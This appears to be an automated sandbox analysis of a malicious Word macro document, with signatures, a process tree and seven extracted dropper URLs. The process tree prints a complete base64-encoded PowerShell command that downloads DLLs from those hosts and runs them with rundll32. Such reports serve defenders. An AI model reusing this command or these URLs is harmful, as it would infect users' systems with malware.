Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    25/11/2021, 11:12

General

  • Target
    2511.doc
  • Size 110KB
  • Sample211125-nav4msace3
  • SHA256 4054a4f314849369670235f1c40d35d15de7252d8d88d21fe66e5faabdcbf495
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://morishim.com/wp-content/EFhkVPdHVN/

  • exe.dropper

    https://gezweb.com/2021/y5vxVZg6WY62u1lFpR77q/

  • exe.dropper

    http://computerservicestoronto.com/Senaah/4sLAWGga/

  • exe.dropper

    https://test.ohmyhome.com/licenses/Xh2Jf3Pbx8CZa/

  • exe.dropper

    https://shop1.techraticsoftware.com/ALFA_DATA/alfacgiapi/jtFoay/

  • exe.dropper

    https://xj.91liebian.top/k8w4h6rd/Gt4BYqWBs4ZUGEM5oPr/

  • exe.dropper

    https://brandedmedia.io/Joey/BPQD5Bchj4BrH/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2511.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1952
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c c:\programdata\sdfhiuwu.bat
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1516
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABzAHQAcgBzAD0AIgBoAHQAdABwADoALwAvAG0AbwByAGkAcwBoAGkAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUARgBoAGsAVgBQAGQASABWAE4ALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGUAegB3AGUAYgAuAGMAbwBtAC8AMgAwADIAMQAvAHkANQB2AHgAVgBaAGcANgBXAFkANgAyAHUAMQBsAEYAcABSADcANwBxAC8ALABoAHQAdABwADoALwAvAGMAbwBtAHAAdQB0AGUAcgBzAGUAcgB2AGkAYwBlAHMAdABvAHIAbwBuAHQAbwAuAGMAbwBtAC8AUwBlAG4AYQBhAGgALwA0AHMATABBAFcARwBnAGEALwAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAcwB0AC4AbwBoAG0AeQBoAG8AbQBlAC4AYwBvAG0ALwBsAGkAYwBlAG4AcwBlAHMALwBYAGgAMgBKAGYAMwBQAGIAeAA4AEMAWgBhAC8ALABoAHQAdABwAHMAOgAvAC8AcwBoAG8AcAAxAC4AdABlAGMAaAByAGEAdABpAGMAcwBvAGYAdAB3AGEAcgBlAC4AYwBvAG0ALwBBAEwARgBBAF8ARABBAFQAQQAvAGEAbABmAGEAYwBnAGkAYQBwAGkALwBqAHQARgBvAGEAeQAvACwAaAB0AHQAcABzADoALwAvAHgAagAuADkAMQBsAGkAZQBiAGkAYQBuAC4AdABvAHAALwBrADgAdwA0AGgANgByAGQALwBHAHQANABCAFkAcQBXAEIAcwA0AFoAVQBHAEUATQA1AG8AUAByAC8ALABoAHQAdABwAHMAOgAvAC8AYgByAGEAbgBkAGUAZABtAGUAZABpAGEALgBpAG8ALwBKAG8AZQB5AC8AQgBQAFEARAA1AEIAYwBoAGoANABCAHIASAAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABzAHQAcgBzACkAewAkAHIAMQA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAHIAMgA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAHQAcAB0AGgAPQAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACIAKwAkAHIAMQArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJAB0AHAAdABoADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHQAcAB0AGgAKQB7ACQAZgBwAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAVwBvAHcANgA0AFwAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgA7ACQAYQA9ACQAdABwAHQAaAArACIALABmACIAKwAkAHIAMgA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGYAcAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGEAOwBiAHIAZQBhAGsAOwB9AH0A
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1520

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/1452-62-0x0000000006A00000-0x0000000006A02000-memory.dmp

          memory/1452-56-0x0000000070B21000-0x0000000070B23000-memory.dmp

          memory/1452-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1452-58-0x0000000075E51000-0x0000000075E53000-memory.dmp

          memory/1452-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1452-55-0x00000000730A1000-0x00000000730A4000-memory.dmp

          memory/1520-67-0x0000000002540000-0x000000000318A000-memory.dmp

          memory/1520-68-0x0000000002540000-0x000000000318A000-memory.dmp

          memory/1520-69-0x0000000002540000-0x000000000318A000-memory.dmp

          memory/1952-60-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmp